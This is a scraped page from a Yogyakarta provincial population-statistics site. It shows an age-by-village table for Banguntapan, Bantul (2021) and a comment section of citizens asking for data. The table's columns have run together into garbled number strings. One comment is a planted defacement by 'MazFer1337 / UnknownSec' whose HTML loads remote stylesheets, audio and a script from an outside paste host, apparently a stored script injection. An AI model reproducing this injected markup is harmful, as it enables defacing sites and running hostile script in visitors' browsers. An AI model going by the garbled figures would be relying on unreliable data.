Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN BANGUNTAPAN, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBATURETNOBANGUNTAPANJAGALANSINGOSARENJAMBITANPOTORONOTAMANANWIROKERTENTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun181179 360400357 7573718 554749 96110110 220150145 295161116 277188157 3451.274 1.131 2.405
2 tahun132127 259252252 5042029 492731 588270 15210098 19885107 192134124 258832 838 1.670
3 tahun102115 217295248 5431319 322232 549366 15911593 20885104 189112111 223837 788 1.625
4 tahun125116 241259248 5071819 372533 588177 1588393 1769783 180105119 224793 788 1.581
5 tahun110126 236286252 5381617 332427 519286 17894103 1979283 175113110 223827 804 1.631
6 tahun103121 224286293 5791717 343523 587677 153109101 2108290 172129127 256837 849 1.686
7 tahun143119 262283256 5392016 363735 728388 17111395 20810088 188124109 233903 806 1.709
8 tahun133135 268307272 5791614 303831 697879 157123108 231109111 220151133 284955 883 1.838
9 tahun149124 273307322 6292122 433625 6110294 196114110 2249892 190139138 277966 927 1.893
10 tahun121121 242287292 5792018 382333 568592 177113125 238112103 215139139 278900 923 1.823
11 tahun148130 278288307 5953028 583028 588193 174107103 2109985 184140114 254923 888 1.811
12 tahun162151 313319317 6362719 463024 547893 17114792 239121107 228149131 2801.033 934 1.967
13 tahun132128 260297262 5592021 412434 5810993 202109123 232114105 219119125 244924 891 1.815
14 tahun131133 264326324 6502030 503231 639478 172122109 231114103 217144128 272983 936 1.919
15 tahun136143 279286280 5662117 383727 6410361 1649897 1959594 189115122 237891 841 1.732
16 tahun141124 265275248 5232715 423026 567772 1499786 18310380 183115119 234865 770 1.635
17 tahun119111 230267276 5432112 333121 527977 1569383 1769487 1819595 190799 762 1.561
18 tahun135132 267315273 5882419 433533 688667 1539899 197109104 21311397 210915 824 1.739
19 tahun148111 259299260 5592118 393431 656281 143106112 2188782 16910380 183860 775 1.635
20 tahun155132 287338290 6281820 382233 557469 14392100 19273106 179102123 225874 873 1.747
21 tahun135124 259293284 5771819 372919 487773 15091109 2009399 192124105 229860 832 1.692
22 tahun115113 228258264 5221615 313426 607567 1429283 1757883 1617791 168745 742 1.487
23 tahun131111 242262265 5271818 362627 537462 13610896 204106109 2159394 187818 782 1.600
24 tahun130100 230270292 5621915 343524 596163 1249699 19510179 180100118 218812 790 1.602
25 tahun128111 239275283 5582722 493028 586668 1349797 19410095 195103119 222826 823 1.649
26 tahun137116 253285297 5821917 363122 536976 14589107 19696100 196106116 222832 851 1.683
27 tahun115143 258272259 5312320 434537 826468 1329899 19782104 18610889 197807 819 1.626
28 tahun128125 253283272 5552120 413736 735857 115113102 2158965 15497115 212826 792 1.618
29 tahun110138 248297281 5782320 433527 626180 1418994 1837795 17211080 190802 815 1.617
30 tahun110127 237292300 5922018 383423 576767 1349170 16194113 207101103 204809 821 1.630
31 tahun114134 248280294 5742021 412224 468580 16510288 1908674 16095102 197804 817 1.621
32 tahun128105 233283291 5741917 362531 566659 1257485 1598180 16189100 189765 768 1.533
33 tahun129123 252264257 5212918 471727 4461102 1639480 1747874 1528792 179759 773 1.532
34 tahun128112 240281305 5861424 382424 486575 1408998 18711194 20599106 205811 838 1.649
35 tahun129114 243272314 5861423 374032 725289 1419093 1839999 19883101 184779 865 1.644
36 tahun118137 255334304 6382524 492535 608286 168105123 22894115 209118121 239901 945 1.846
37 tahun116143 259299310 6091925 443333 668779 16610495 19999102 201103124 227860 911 1.771
38 tahun155142 297311329 6402034 543538 73107102 209112127 239116109 225137145 282993 1.026 2.019
39 tahun123134 257319310 6293223 552127 4811094 204113131 24494123 217121131 252933 973 1.906
40 tahun149147 296321293 6142120 414041 819691 187121111 232115116 231124110 234987 929 1.916
41 tahun138136 274312335 6472720 472928 57105103 208123139 26297121 218100128 228931 1.010 1.941
42 tahun133137 270319348 6672819 472934 63108100 20811188 199117116 233128118 246973 960 1.933
43 tahun133134 267301323 6241022 324223 659075 165111108 21998108 206105105 210890 898 1.788
44 tahun125144 269304285 5891934 533530 6510084 184111101 21211799 216114118 232925 895 1.820
45 tahun141128 269299311 6102124 452634 608679 165107124 231121100 22199107 206900 907 1.807
46 tahun145127 272289264 5532413 371923 427375 148100112 21211492 206105133 238869 839 1.708
47 tahun96122 218268270 5382120 412925 548770 15793107 20010271 1738987 176785 772 1.557
48 tahun122129 251330303 6331715 322930 596778 145100118 21898103 201105105 210868 881 1.749
49 tahun111112 223273323 5961923 422127 488280 1628991 1808898 18610379 182786 833 1.619
50 tahun127146 273267325 5921625 412037 576977 146100103 2038779 16689112 201775 904 1.679
51 tahun125142 267284297 5812425 493032 627192 163110111 2216593 15810496 200813 888 1.701
52 tahun114119 233280300 5802328 512528 537176 1479992 19111486 2009494 188820 823 1.643
53 tahun97126 223249290 5392023 432831 597262 1348397 1808384 16710297 199734 810 1.544
54 tahun93118 211244272 5161712 292930 594855 1038481 1658267 1497381 154670 716 1.386
55 tahun103121 224236282 5181523 382029 496564 12983104 1878099 1798672 158688 794 1.482
56 tahun101101 202246257 5032028 482726 535248 1008579 1646191 1526868 136660 698 1.358
57 tahun103122 225208265 4732021 412530 554869 1177677 1535878 1365592 147593 754 1.347
58 tahun96102 198249253 5021928 472220 425352 1057873 1515988 1476978 147645 694 1.339
59 tahun9891 189190221 4113127 582619 454156 975360 1137161 1325785 142567 620 1.187
60 tahun95100 195204227 4312424 481421 355062 1128367 1506958 1277371 144612 630 1.242
61 tahun116124 240208240 4482018 383122 535352 1056064 1247588 1637883 161641 691 1.332
62 tahun9783 180195209 4041919 382414 386256 1186358 1217157 1287547 122606 543 1.149
63 tahun6777 144178206 3841920 392320 434336 795745 1026669 1356056 116513 529 1.042
64 tahun5978 137134182 3161221 331920 395138 895134 855152 1036452 116441 477 918
65 tahun5470 124170163 3331915 342213 354031 715457 1115042 926259 121471 450 921
66 tahun7351 124142128 2701517 322115 365034 843856 943533 685656 112430 390 820
67 tahun4056 96126135 26199 181616 323522 574133 744133 744434 78352 338 690
68 tahun5147 98118122 2401013 2397 163132 632728 555537 923930 69340 316 656
69 tahun4239 819096 186812 201711 282925 543023 533534 693625 61287 265 552
70 tahun3135 667690 1661313 2693 121322 352830 583632 682832 60234 257 491
71 tahun3731 687577 152910 1966 121723 403224 563024 542437 61230 232 462
72 tahun2629 556583 14865 1188 161614 301319 321820 381426 40166 204 370
73 tahun1814 325975 13437 1063 91310 231729 462018 381222 34148 178 326
74 tahun1213 254559 104512 1715 6913 22915 241420 341414 28109 151 260
75 tahun2425 495576 13112 349 131612 281728 451615 311619 35149 186 335
76 tahun1827 454539 8459 1428 102021 411029 39817 252232 54130 182 312
77 tahun1618 345547 10278 1547 11126 181416 301110 211117 28130 129 259
78 tahun1927 465452 10675 1213 4187 251515 301517 321318 31142 144 286
79 tahun108 182532 5723 513 4811 1978 151410 24621 2773 96 169
80 ke atas61102 163146248 3941924 432121 426886 15455106 1616580 14567104 171502 771 1.273
Jumlah8.4018.48816.88919.13619.54338.6791.4671.4972.9642.0071.9593.9665.2505.16910.4196.6686.71113.3796.4266.35812.7847.1637.27314.436 56.518 56.998 113.516
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih